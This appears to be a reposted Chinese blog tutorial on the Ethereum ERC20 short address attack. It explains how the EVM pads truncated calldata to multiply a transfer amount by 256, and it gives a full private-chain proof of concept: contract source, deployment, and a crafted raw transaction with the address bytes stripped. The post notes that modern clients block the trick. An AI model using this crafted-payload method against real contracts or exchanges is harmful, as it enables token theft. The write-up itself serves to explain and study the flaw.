内容简介:昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:
昨天一位博友提到短地址攻击的问题,感觉挺有意思的,就花了点时间研究了一下。
1.什么是短地址攻击
大家都知道,如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:
function transfer(address to, uint amount) public returns (bool success);
我们需要通过一段68个字节的字节码来调用该函数进行转账,比如:
a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001
具体可以分解为3个部分:
- 4字节函数签名:a9059cbb
- to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
- amount参数:0000000000000000000000000000000000000000000000000000000000000001
大家可能注意到,这个转账地址有点特殊:最后两个数字为0。
假如有个用户“不小心”忘记输入最后这两个0了怎么办?这样我们的输入就只有67个字节了。EVM是通过CALLDATALOAD指令从输入数据中获取函数参数的,因此它会先从后面的amount参数里 “借”两个0 来补足前面的地址参数。当它要加载amount参数的时候,发现位数不够,会 在右边补0 ,参见以太坊源码:
所以,经过这么一折腾,实际上EVM看到是下面这些参数:
- 4字节函数签名:a9059cbb
- to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca 00 (借0)
- amount参数:0000000000000000000000000000000000000000000000000000000000000 100 (补0)
看到问题了没?转账地址没变,但是转账金额增大了256倍!如果你的转账地址后面有足够多的0,那么转账金额将会大得惊人~
但是有人会说,这没啥毛用啊,难道智能合约的作者会傻到不检查你地址的余额,就直接让你提币走人吗?我猜想这跟目前中心化交易所的运营机制相关。考虑下面的场景:用户充币到交易所钱包,交易所又把这些币转移到了它们内部的合约账户中。等用户发起提币申请,并通过人工审核后,再从合约中把币打到用户的账户中。
在这种情况下,交易的msg.sender就是交易所本身,因此可以通过余额检查。当然,这里有个前提: 你必须能够通过人工审核! 也就是审核员失职。实际上,从没有人成功利用过这个漏洞,最先发现这个问题的GNT项目组,也仅仅是观察到一笔异常交易而已,并没有产生任何实质性损失。网络上流传的攻击方法是:先找到一个里面有足够数量代币的交易所账户,充1000个币进去,然后再申请提1000个币,就可以提出来256000个币。但是,在我看来这似乎并不可行,如果有读友能想出可行的场景,欢迎给我留言~
2.现在还能重现吗?
能。
当然,不能通过常规的方式。不能通过remix,因为客户端会检查地址长度。也不能通过sendTransaction(),因为web3中也加了保护。但是,我们可以使用sendRawTransaction()。
2.1先写一个简单合约
pragma solidity ^0.4.25; contract ABC { mapping (address => uint) balances; event Transfer(address indexed _from, address indexed _to, uint256 _value); constructor() public { balances[msg.sender] = 10000; } function transfer(address to, uint amount) public returns(bool success) { if (balances[msg.sender] < amount) return false; balances[msg.sender] -= amount; balances[to] += amount; emit Transfer(msg.sender, to, amount); return true; } function getBalance(address addr) public view returns(uint) { return balances[addr]; } }
2.2解锁账户
进入geth控制台,解锁第一个账户,用来部署合约:
personal.unlockAccount(eth.accounts[0])
2.3部署合约
在remix的Compile面板中,点击“Details”查看编译结果,把下面这段拷贝到控制台上部署合约:
var abcContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"sufficient","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"}]); var abc = abcContract.new( { from: web3.eth.accounts[0], data: '0x608060405234801561001057600080fd5b506127106000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506102da806100656000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a9059cbb14610051578063f8b2cb4f146100b6575b600080fd5b34801561005d57600080fd5b5061009c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061010d565b604051808215151515815260200191505060405180910390f35b3480156100c257600080fd5b506100f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610266565b6040518082815260200191505060405180910390f35b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561015e5760009050610260565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a72305820b995f589cfcbb99e7bf5f31b8c40c052004886078f8e985c624c7348ef4c1bde0029', gas: '4700000' }, function (e, contract){ console.log(e, contract); if (typeof contract.address !== 'undefined') { console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); } })
2.4启动挖矿
合约创建交易必须被打包执行后才能生成合约地址,在控制台启动挖矿流程:
miner.start() admin.sleepBlocks(1) miner.stop()
控制台会打印出生成的合约地址:
Contract mined! address: 0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed transactionHash: 0xe167a7c105d486f5e772baafb35cef1c196d188378c86d854549fc58d60ba0ca
2.5生成ABI调用字节码
也就是交易的payload部分,可以通过getData()接口获得编码结果:
var abc = abcContract.at('0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed') var abi = abc.transfer.getData('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00', 1)
产生的字节码序列如下:
0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001
2.6生成raw transaction
在上面的字节码中去掉两个0,然后生成raw transaction:
const Web3 = require('web3') const Tx = require('ethereumjs-tx') const privateKey = Buffer.from('9a24cc556fe35c17f4be00e970bb7f7ad5c24b9853d8965d2a810e8c412b2a88', 'hex') const txParams = { nonce: '0x01', //可以通过eth.getTransactionCount(eth.accounts[0])得到 gasPrice: '5', gasLimit: '5000', to: '0xdc1b549ed7668e13a8bd72f35b8143adb69b91ed', value: '0x00', data: '0xa9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001' //去掉了两个0 // EIP 155 chainId - mainnet: 1, ropsten: 3 chainId: 111 //我搭建的私网ID是111,根据你自己的配置调整 } var tx = new Tx(txParams) tx.sign(privateKey) var serializedTx = tx.serialize() console.log('0x' + serializedTx.toString('hex'))
得到签好名的交易:
0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456
2.7发送raw transaction
最后一步,通过sendRawTransaction()发送交易:
eth.sendRawTransaction('0xf8a901823130843530303094dc1b549ed7668e13a8bd72f35b8143adb69b91ed80b843a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca0000000000000000000000000000000000000000000000000000000000000001820101a0aa3594aada7f032aed9760484eb770e47ac958af9a054fd83bc5f63e76974d42a047d608dbdb9109ef392697c6365aa827a934953d90608e038f02859c23d80456')
生成的交易hash值:
“0xac0173835fc1a2e4b00bd9ef82825289ec27ef36b6120f1ee4c84394c468185a”
启动挖矿打包执行交易,然后查看目标账户的余额:
abc.getBalance.call('0x146aed09cd9dea7a64de689c5d3ef73d2ee5ca00')
输出结果:
Bingo!我们本来只转了1个币到这个账户,但实际上转过来256个! 成功复现了短地址攻击问题。
我们可以通过eth.getTransactionReceipt()可以查看event:
可以看到,转账金额确实变成了0x100。
3.还能薅羊毛吗?
不能。
这个漏洞在2017年爆出后,各大交易所基本都在客户端增加了地址长度检查。
另外,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0:
我们可以测试一下:
短地址攻击是利用EVM在参数长度不够时自动在右方补0的特性,通过去除钱包地址末位的0,达到将转账金额左移放大的效果。目前主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然EVM层仍然可以复现,但是在实际应用场景中基本没有问题。
参考:
https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-55.md
https://vessenes.com/the-erc20-short-address-attack-explained/
更多文章欢迎关注“鑫鑫点灯”专栏: https://blog.csdn.net/turkeycock
或关注飞久微信公众号:以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 智能合约攻击分析之庞氏代币合约漏洞
- 波场假币攻击全过程:BTTBank理财合约遭黑客假BTT攻击
- 干货 | Solidity 安全:已知攻击方法和常见防御模式综合列表,Part-4:外部合约引用、短地址攻击
- Last Winner的最后赢家:智能合约超大规模黑客攻击手法曝光
- Last Winner游戏“过不去”的黑客:智能合约史上最大规模攻击事件回顾
- 检测了3万多份智能合约,这份白皮书找到了9大智能合约安全漏洞(附下载链接)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Hatching Twitter
Nick Bilton / Portfolio Hardcover / 2013-11-5 / USD 28.95
The dramatic, unlikely story behind the founding of Twitter, by New York Times bestselling author and Vanity Fair special correspondent The San Francisco-based technology company Twitter has become......一起来看看 《Hatching Twitter》 这本书的介绍吧!